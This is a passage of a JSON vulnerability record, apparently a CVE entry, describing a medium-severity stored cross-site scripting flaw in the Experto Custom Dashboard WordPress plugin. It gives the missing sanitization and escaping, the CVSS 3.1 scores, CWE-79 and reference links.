This is due to insufficient input sanitization (no sanitize callback in register_setting()) and missing output escaping (no esc_attr() in the field_callback() printf output) on user-supplied values. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/tags/1.0.1/admin/class-ewc-admin.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/tags/1.0.1/admin/class-ewc-admin.php#L361", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/trunk/admin/class-ewc-admin.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/experto-custom-dashboard/trunk/admin/class-ewc-admin.php#L361", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3491768%40experto-custom-dashboard&new=3491768%40experto-custom-dashboard", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a070f19e-9f65-499d-87c0-65be12d4be84?source=cve", "source": "[email protected]"}]}}
